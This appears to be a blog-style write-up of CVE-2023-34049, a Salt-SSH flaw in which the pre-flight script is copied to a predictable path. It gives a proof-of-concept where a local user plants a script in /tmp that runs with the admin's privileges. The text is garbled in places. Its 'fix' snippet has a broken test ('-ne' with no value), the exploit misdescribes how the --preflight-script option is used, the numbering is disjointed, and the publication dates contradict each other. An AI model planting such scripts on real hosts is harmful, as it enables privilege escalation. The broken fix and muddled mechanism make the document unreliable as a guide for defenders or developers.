Published: June 2024

Introduction

Recently, a severe vulnerability—CVE-2023-34049—was found in Salt Project’s Salt-SSH tool. This security flaw is serious because attackers who have access to the target machine can run their own malicious scripts with the privileges of the user running Salt-SSH. The heart of the issue is that Salt-SSH’s “pre-flight” script is copied to a *predictable* path, allowing attackers to hijack the process.

In this article, I’ll explain how this exploit works, give you proof-of-concept code, and show you how to fix it. We’ll keep the language simple so everyone can understand.

What is Salt-SSH Pre-Flight?

Salt-SSH is a tool used by system administrators to automate tasks on remote machines over SSH, without installing a Salt Minion. Before running its main commands, Salt-SSH can upload and run a “pre-flight” script on the target machine.

Here’s the problem:
The script always gets copied to the same, guessable path.

If someone already has access to the target system (even as a low-privilege user) and knows that location, they can replace the legit script with a malicious one—making Salt-SSH execute their code, full privileges and all.

Attacker has access (any user) to the target machine.

- They know the path where Salt-SSH will upload the pre-flight script (/tmp/salt_pre_flight.sh, for example).

Attacker replaces the legit pre-flight script at that path with their own malicious script.

2. When the Salt admin uses Salt-SSH (even as root!), the admin's Salt-SSH runs the attacker’s script.

Example Exploit

### Assume Salt-SSH copies the pre-flight script to /tmp/salt_pre_flight.sh.

Here’s how an attacker can overwrite the script before Salt-SSH runs

# Attacker's malicious script (contents of /tmp/salt_pre_flight.sh)
#!/bin/bash
echo "Hacked by attacker!" > /tmp/pwned.txt
whoami >> /tmp/pwned.txt
id >> /tmp/pwned.txt

Now, when Salt-SSH executes

salt-ssh 'target-minion' --preflight-script=/tmp/salt_pre_flight.sh

The attacker’s script runs as whoever launched salt-ssh (possibly root), not the attacker.

On the target machine (as attacker)

cat << 'EOF' > /tmp/salt_pre_flight.sh
#!/bin/bash
echo "PWNED > $(whoami) > $(date)" >> /tmp/hacked.txt
EOF
chmod +x /tmp/salt_pre_flight.sh

On the admin’s server (as admin)

salt-ssh target-hostname --preflight-script=/tmp/salt_pre_flight.sh

Result

Check /tmp/hacked.txt on the target. It shows “pwned” as the root (admin) user.

Why This Works

Salt-SSH uploads the script to a predictable location (/tmp/salt_pre_flight.sh). If another user already put their own script there, Salt-SSH might just run it. Since salt-ssh often runs as root, this is a classic privilege escalation.

Two big problems

- Predictable copy path (easy for attacker to find/plant their own script).
- Script execution doesn't carefully verify the script's authenticity or check if scp/rsync really succeeded.

Unpredictable Paths:

Use random, unique names for each pre-flight script (e.g., /tmp/salt_pre_flight_$RANDOM.sh).

Example Fix (Bash PoC)

# On Salt-SSH side, use a random path:
PRE_FLIGHT_PATH="/tmp/salt_pre_flight_$(uuidgen).sh"
scp preflight.sh target-server:$PRE_FLIGHT_PATH

# Check if scp succeeded
if [ $? -ne  ]; then
    echo "scp failed, aborting!"
    exit 1
fi

# Only run if upload worked
ssh target-server "bash $PRE_FLIGHT_PATH"

References

- CVE-2023-34049 - NIST National Vulnerability Database
- Salt Project Security Advisories
- Original Salt-SSH Docs
- RedHat Advisory

Conclusion

CVE-2023-34049 is dangerous because it allows attackers to hijack the automation process by exploiting a predictable script path. If you use Salt-SSH, make sure scripts are uploaded to random locations, check the return codes of your copy commands, and always secure your temporary directories! Patch and update your Salt tools today.

Timeline

Published on: 11/14/2024 05:15:28 UTC
Last modified on: 11/15/2024 13:58:08 UTC